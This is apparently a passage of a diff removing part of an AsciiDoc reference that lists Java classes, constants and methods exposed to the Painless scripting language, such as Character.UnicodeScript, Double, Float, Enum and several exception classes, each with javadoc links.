-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#forName(java.lang.String)[forName](null)
-* static Character.UnicodeBlock {java11-javadoc}/java.base/java/lang/Character$UnicodeBlock.html#of(int)[of](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Character-UnicodeScript]]
-==== Character.UnicodeScript
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#ARABIC[ARABIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#ARMENIAN[ARMENIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#AVESTAN[AVESTAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BALINESE[BALINESE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BAMUM[BAMUM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BATAK[BATAK]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BENGALI[BENGALI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BOPOMOFO[BOPOMOFO]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BRAHMI[BRAHMI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BRAILLE[BRAILLE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BUGINESE[BUGINESE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#BUHID[BUHID]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CANADIAN_ABORIGINAL[CANADIAN_ABORIGINAL]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CARIAN[CARIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CHAKMA[CHAKMA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CHAM[CHAM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CHEROKEE[CHEROKEE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#COMMON[COMMON]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#COPTIC[COPTIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CUNEIFORM[CUNEIFORM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CYPRIOT[CYPRIOT]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#CYRILLIC[CYRILLIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#DESERET[DESERET]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#DEVANAGARI[DEVANAGARI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#EGYPTIAN_HIEROGLYPHS[EGYPTIAN_HIEROGLYPHS]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#ETHIOPIC[ETHIOPIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GEORGIAN[GEORGIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GLAGOLITIC[GLAGOLITIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GOTHIC[GOTHIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GREEK[GREEK]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GUJARATI[GUJARATI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#GURMUKHI[GURMUKHI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#HAN[HAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#HANGUL[HANGUL]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#HANUNOO[HANUNOO]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#HEBREW[HEBREW]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#HIRAGANA[HIRAGANA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#IMPERIAL_ARAMAIC[IMPERIAL_ARAMAIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#INHERITED[INHERITED]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#INSCRIPTIONAL_PAHLAVI[INSCRIPTIONAL_PAHLAVI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#INSCRIPTIONAL_PARTHIAN[INSCRIPTIONAL_PARTHIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#JAVANESE[JAVANESE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KAITHI[KAITHI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KANNADA[KANNADA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KATAKANA[KATAKANA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KAYAH_LI[KAYAH_LI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KHAROSHTHI[KHAROSHTHI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#KHMER[KHMER]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LAO[LAO]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LATIN[LATIN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LEPCHA[LEPCHA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LIMBU[LIMBU]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LINEAR_B[LINEAR_B]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LISU[LISU]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LYCIAN[LYCIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#LYDIAN[LYDIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MALAYALAM[MALAYALAM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MANDAIC[MANDAIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MEETEI_MAYEK[MEETEI_MAYEK]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MEROITIC_CURSIVE[MEROITIC_CURSIVE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MEROITIC_HIEROGLYPHS[MEROITIC_HIEROGLYPHS]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MIAO[MIAO]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MONGOLIAN[MONGOLIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#MYANMAR[MYANMAR]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#NEW_TAI_LUE[NEW_TAI_LUE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#NKO[NKO]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OGHAM[OGHAM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OLD_ITALIC[OLD_ITALIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OLD_PERSIAN[OLD_PERSIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OLD_SOUTH_ARABIAN[OLD_SOUTH_ARABIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OLD_TURKIC[OLD_TURKIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OL_CHIKI[OL_CHIKI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#ORIYA[ORIYA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#OSMANYA[OSMANYA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#PHAGS_PA[PHAGS_PA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#PHOENICIAN[PHOENICIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#REJANG[REJANG]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#RUNIC[RUNIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SAMARITAN[SAMARITAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SAURASHTRA[SAURASHTRA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SHARADA[SHARADA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SHAVIAN[SHAVIAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SINHALA[SINHALA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SORA_SOMPENG[SORA_SOMPENG]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SUNDANESE[SUNDANESE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SYLOTI_NAGRI[SYLOTI_NAGRI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#SYRIAC[SYRIAC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAGALOG[TAGALOG]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAGBANWA[TAGBANWA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAI_LE[TAI_LE]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAI_THAM[TAI_THAM]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAI_VIET[TAI_VIET]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAKRI[TAKRI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TAMIL[TAMIL]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TELUGU[TELUGU]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#THAANA[THAANA]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#THAI[THAI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TIBETAN[TIBETAN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#TIFINAGH[TIFINAGH]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#UGARITIC[UGARITIC]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#UNKNOWN[UNKNOWN]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#VAI[VAI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#YI[YI]
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#forName(java.lang.String)[forName](null)
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#of(int)[of](int)
-* static Character.UnicodeScript {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#valueOf(java.lang.String)[valueOf](null)
-* static Character.UnicodeScript[] {java11-javadoc}/java.base/java/lang/Character$UnicodeScript.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ClassCastException]]
-==== ClassCastException
-* {java11-javadoc}/java.base/java/lang/ClassCastException.html#<init>()[ClassCastException]()
-* {java11-javadoc}/java.base/java/lang/ClassCastException.html#<init>(java.lang.String)[ClassCastException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-ClassNotFoundException]]
-==== ClassNotFoundException
-* {java11-javadoc}/java.base/java/lang/ClassNotFoundException.html#<init>()[ClassNotFoundException]()
-* {java11-javadoc}/java.base/java/lang/ClassNotFoundException.html#<init>(java.lang.String)[ClassNotFoundException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-CloneNotSupportedException]]
-==== CloneNotSupportedException
-* {java11-javadoc}/java.base/java/lang/CloneNotSupportedException.html#<init>()[CloneNotSupportedException]()
-* {java11-javadoc}/java.base/java/lang/CloneNotSupportedException.html#<init>(java.lang.String)[CloneNotSupportedException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Comparable]]
-==== Comparable
-* int {java11-javadoc}/java.base/java/lang/Comparable.html#compareTo(java.lang.Object)[compareTo](def)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Double]]
-==== Double
-* static int {java11-javadoc}/java.base/java/lang/Double.html#BYTES[BYTES]
-* static int {java11-javadoc}/java.base/java/lang/Double.html#MAX_EXPONENT[MAX_EXPONENT]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#MAX_VALUE[MAX_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Double.html#MIN_EXPONENT[MIN_EXPONENT]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#MIN_NORMAL[MIN_NORMAL]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#MIN_VALUE[MIN_VALUE]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#NEGATIVE_INFINITY[NEGATIVE_INFINITY]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#NaN[NaN]
-* static double {java11-javadoc}/java.base/java/lang/Double.html#POSITIVE_INFINITY[POSITIVE_INFINITY]
-* static int {java11-javadoc}/java.base/java/lang/Double.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Double.html#compare(double,double)[compare](double, double)
-* static long {java11-javadoc}/java.base/java/lang/Double.html#doubleToLongBits(double)[doubleToLongBits](double)
-* static long {java11-javadoc}/java.base/java/lang/Double.html#doubleToRawLongBits(double)[doubleToRawLongBits](double)
-* static int {java11-javadoc}/java.base/java/lang/Double.html#hashCode(double)[hashCode](double)
-* static boolean {java11-javadoc}/java.base/java/lang/Double.html#isFinite(double)[isFinite](double)
-* static boolean {java11-javadoc}/java.base/java/lang/Double.html#isInfinite(double)[isInfinite](double)
-* static boolean {java11-javadoc}/java.base/java/lang/Double.html#isNaN(double)[isNaN](double)
-* static double {java11-javadoc}/java.base/java/lang/Double.html#longBitsToDouble(long)[longBitsToDouble](long)
-* static double {java11-javadoc}/java.base/java/lang/Double.html#max(double,double)[max](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Double.html#min(double,double)[min](double, double)
-* static double {java11-javadoc}/java.base/java/lang/Double.html#parseDouble(java.lang.String)[parseDouble](null)
-* static double {java11-javadoc}/java.base/java/lang/Double.html#sum(double,double)[sum](double, double)
-* static null {java11-javadoc}/java.base/java/lang/Double.html#toHexString(double)[toHexString](double)
-* static null {java11-javadoc}/java.base/java/lang/Double.html#toString(double)[toString](double)
-* static Double {java11-javadoc}/java.base/java/lang/Double.html#valueOf(double)[valueOf](double)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Double.html#compareTo(java.lang.Double)[compareTo](Double)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Double.html#isInfinite()[isInfinite]()
-* boolean {java11-javadoc}/java.base/java/lang/Double.html#isNaN()[isNaN]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Enum]]
-==== Enum
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-EnumConstantNotPresentException]]
-==== EnumConstantNotPresentException
-* null {java11-javadoc}/java.base/java/lang/EnumConstantNotPresentException.html#constantName()[constantName]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Exception]]
-==== Exception
-* {java11-javadoc}/java.base/java/lang/Exception.html#<init>()[Exception]()
-* {java11-javadoc}/java.base/java/lang/Exception.html#<init>(java.lang.String)[Exception](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Float]]
-==== Float
-* static int {java11-javadoc}/java.base/java/lang/Float.html#BYTES[BYTES]
-* static int {java11-javadoc}/java.base/java/lang/Float.html#MAX_EXPONENT[MAX_EXPONENT]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#MAX_VALUE[MAX_VALUE]
-* static int {java11-javadoc}/java.base/java/lang/Float.html#MIN_EXPONENT[MIN_EXPONENT]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#MIN_NORMAL[MIN_NORMAL]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#MIN_VALUE[MIN_VALUE]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#NEGATIVE_INFINITY[NEGATIVE_INFINITY]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#NaN[NaN]
-* static float {java11-javadoc}/java.base/java/lang/Float.html#POSITIVE_INFINITY[POSITIVE_INFINITY]
-* static int {java11-javadoc}/java.base/java/lang/Float.html#SIZE[SIZE]
-* static int {java11-javadoc}/java.base/java/lang/Float.html#compare(float,float)[compare](float, float)
-* static int {java11-javadoc}/java.base/java/lang/Float.html#floatToIntBits(float)[floatToIntBits](float)
-* static int {java11-javadoc}/java.base/java/lang/Float.html#floatToRawIntBits(float)[floatToRawIntBits](float)
-* static int {java11-javadoc}/java.base/java/lang/Float.html#hashCode(float)[hashCode](float)
-* static float {java11-javadoc}/java.base/java/lang/Float.html#intBitsToFloat(int)[intBitsToFloat](int)
-* static boolean {java11-javadoc}/java.base/java/lang/Float.html#isFinite(float)[isFinite](float)
-* static boolean {java11-javadoc}/java.base/java/lang/Float.html#isInfinite(float)[isInfinite](float)
-* static boolean {java11-javadoc}/java.base/java/lang/Float.html#isNaN(float)[isNaN](float)
-* static float {java11-javadoc}/java.base/java/lang/Float.html#max(float,float)[max](float, float)
-* static float {java11-javadoc}/java.base/java/lang/Float.html#min(float,float)[min](float, float)
-* static float {java11-javadoc}/java.base/java/lang/Float.html#parseFloat(java.lang.String)[parseFloat](null)
-* static float {java11-javadoc}/java.base/java/lang/Float.html#sum(float,float)[sum](float, float)
-* static null {java11-javadoc}/java.base/java/lang/Float.html#toHexString(float)[toHexString](float)
-* static null {java11-javadoc}/java.base/java/lang/Float.html#toString(float)[toString](float)
-* static Float {java11-javadoc}/java.base/java/lang/Float.html#valueOf(float)[valueOf](float)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* int {java11-javadoc}/java.base/java/lang/Float.html#compareTo(java.lang.Float)[compareTo](Float)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Float.html#isInfinite()[isInfinite]()
-* boolean {java11-javadoc}/java.base/java/lang/Float.html#isNaN()[isNaN]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalAccessException]]
-==== IllegalAccessException
-* {java11-javadoc}/java.base/java/lang/IllegalAccessException.html#<init>()[IllegalAccessException]()
-* {java11-javadoc}/java.base/java/lang/IllegalAccessException.html#<init>(java.lang.String)[IllegalAccessException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalArgumentException]]
-==== IllegalArgumentException
-* {java11-javadoc}/java.base/java/lang/IllegalArgumentException.html#<init>()[IllegalArgumentException]()
-* {java11-javadoc}/java.base/java/lang/IllegalArgumentException.html#<init>(java.lang.String)[IllegalArgumentException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalMonitorStateException]]
-==== IllegalMonitorStateException
-* {java11-javadoc}/java.base/java/lang/IllegalMonitorStateException.html#<init>()[IllegalMonitorStateException]()
-* {java11-javadoc}/java.base/java/lang/IllegalMonitorStateException.html#<init>(java.lang.String)[IllegalMonitorStateException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalStateException]]
-==== IllegalStateException
-* {java11-javadoc}/java.base/java/lang/IllegalStateException.html#<init>()[IllegalStateException]()
-* {java11-javadoc}/java.base/java/lang/IllegalStateException.html#<init>(java.lang.String)[IllegalStateException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-IllegalThreadStateException]]
-==== IllegalThreadStateException
-* {java11-javadoc}/java.base/java/lang/IllegalThreadStateException.html#<init>()[IllegalThreadStateException]()
-* {java11-javadoc}/java.base/java/lang/IllegalThreadStateException.html#<init>(java.lang.String)[IllegalThreadStateException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
